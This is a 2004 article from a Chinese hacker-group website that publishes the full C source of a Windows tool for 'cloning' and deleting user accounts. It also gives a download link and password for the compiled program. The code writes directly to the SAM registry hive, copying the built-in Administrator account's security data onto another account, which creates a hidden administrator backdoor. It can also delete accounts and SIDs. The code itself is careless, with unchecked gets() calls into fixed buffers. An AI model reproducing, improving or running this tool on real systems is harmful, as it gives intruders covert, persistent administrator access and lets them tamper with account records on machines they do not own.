文档分类

- 红盟公告
- **新手上路 <=**
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- 安全技术
- 业界动态

本类热门

- ftp使用经典
- 一个木马的查杀过程
- 基于arp欺骗的网络攻击程序(BtNet.exe)
- 终端服务全攻略
- 握着你的“手”清除DLL后门
- 巧用asp木马和KV2004得到管理员权限

克隆/删除任意用户（RingZ_CDUser）

提交文章： dahubaobao
提交日期： 2004-05-17
文章属性： 原创
文档类别： 新手上路
相关下载： **=>下载<=**
浏览次数： 今8次/总6190次

代码：克隆/删除任意用户（RingZ_CDUser）
作者：dahubaobao
主页：http://www.ringz.org
邮件：dahushibaobao@vip.sina.com
QQ：382690
EXE在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/RingZ_CDUser.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！

```
==========================================================================
#include <windows.h>
#include <string.h>
#include <stdio.h>

char name[50][30];
int KeyN=0;
//OpenKey()，ViewUser()，ListUser()函数用到的变量

void Sid (char *sid);
//删除安全标识符
void User (char *user);
//删除用户名
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);
//显示用户名对应的安全标识符
int Clone (char *C_sid);
//克隆帐户
void Usage (void);
//帮助信息

void main (int argc, char *argv[])
{
char SID[10];
char C_Sid[10];
char USER[40];
int n;

for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
```

```
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;

case 'l':
case 'L':ListUser();
break;

case 'c':
case 'C':printf("Please Input Clone SID:");
gets(C_Sid);
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error\n");
break;

case 's':
case 'S':printf("Please Input Delete SID:");
gets(SID);
if (strlen(SID)<=10)
Sid(SID);
else
printf("Error\n");
break;

case 'u':
case 'U':printf("Please Input Delete USER:");
gets(USER);
if (strlen(USER)<=40)
User(USER);
else
printf("Error\n");
break;
}
}
}
}

void Sid (char *sid)
{
HKEY hkey;
DWORD ret;
char C_sid[10];

ZeroMemory(C_sid,10);
strcpy(C_sid,"00000"); //填充SID中的前5位
strcat(C_sid,sid); //传递剩余3位，并继续填充

//打开注册表，成功返回值0（SUCCESS）
ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
"SAM\\SAM\\Domains\\Account\\Users\\", //要打开的项名
&hkey); //装载打开项的句柄

if (ret==ERROR_SUCCESS)
;
else
return 0;

//删除SID，成功返回值0（SUCCESS）
ret=RegDeleteKey(hkey,C_sid);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key(SID)\n"); //打印成功消息
else
{
printf("Delete Key FAIL(SID)\n"); //打印失败消息
return 0;
```

```
}

RegCloseKey(hkey); //关闭以打开的注册表项

}

void User (char *user)
{
HKEY hkey;
DWORD ret;
char C_user[40];

ZeroMemory(C_user,40);
strcpy(C_user,"");
strcat(C_user,user);

ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\",
&hkey);

if (ret==ERROR_SUCCESS)
;
else
return 0;

ret=RegDeleteKey(hkey,C_user);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key(USER)\n");
else
{
printf("Delete Key FAIL(USER)\n");
return 0;
}

RegCloseKey(hkey);

}

void OpenKey (char *key)
{
HKEY hkey;
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;

ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数，欲打开的注册表项
0, //未用，设为0即可
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
//它们的组合描述了允许对这个项进行哪些操作
&hkey);

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex：欲获取的子项的索引。第一个子项的索引编号为零
//T_name：用于装载指定索引处项名的一个缓冲区
//&lpcbname：指定一个变量，用于装载lpName缓冲区的实际长度（包括空字符）。
//一旦返回，它会设为实际装载到lpName缓冲区的字符数量
//NULL：未用，设为零
//NULL：项使用的类名
//NULL：用于装载lpClass缓冲区长度的一个变量
//&lpftlast：FILETIME，枚举子项上一次修改的时间

strcat(name[i],T_name);
```

```
ZeroMemory(T_name,100);
lpcbname=100;
}

RegCloseKey(hkey);

//拼接用户名
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}

int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;

RegQueryValueEx(hkey,NULL,NULL,
&lpType,NULL,NULL);
//NULL：要获取值的名字
//NULL：未用，设为零
//&lpType：用于装载取回数据类型的一个变量
//NULL：用于装载指定值的一个缓冲区
//NULL：用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);

return 1;
}

int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};

OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
```

```
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);

ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4",
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;

ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)
;
else
return 0;

ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)
;
else
return 0;

ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;

ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”：要设置值的名字
//0：未用，设为零
//REG_BINARY：要设置的数量类型
//lpDataF：包含数据的缓冲区中的第一个字节
//SizeF：lpData缓冲区的长度

if(ret==ERROR_SUCCESS)
;
else
return 0;

ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);

if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
```

```
else
{
printf("Clone User FAIL\n");
return 0;
}

RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}

void Usage (void)
{
fprintf
(stderr,"================================================================================
"\t 克隆/删除任意用户\n"
"\t环境：Win2K Adv Server + Visual C++ 6.0\n"
"\t作者：dahubaobao\n"
"\t主页：www.RingZ.org\;n"
"\tOICQ：382690\n"
"\t邮件：dahubaobao@hotmail.com\n"
"\t声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！\n"
"\n"
"\t使用方法：\n"
"\t\"-H\"：帮助信息\n"
"\t\"-L\"：列出系统中用户对应的SID\n"
"\t\"-C\"：克隆帐户，输入SID即可\n"
"\t\"-S\"：删除SID\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t\"-U\"：删除用户名\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项：\n"
"\t由于SID的前5位都是\"0\"，所以不必输入，直接输入最后三位\n"
"\t例如：000001F5，则直接输入1F5，即可将Guest帐户删除\n"
"\t使用Regedt32将SAM键修改为Administrators可以访问\n"
"\t使用-C参数后，会弹出\"Clone SID：\"提示符，只需输入相应的SID即可克隆\n"
"\t使用-S参数后，会弹出\"Delete SID：\"提示符，只需输入相应的SID即可删除\n"
"\t使用-U参数后，会弹出\"Delete USER：\"提示符，只需输入相应的用户名即可删除\n"
"================================================================================
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net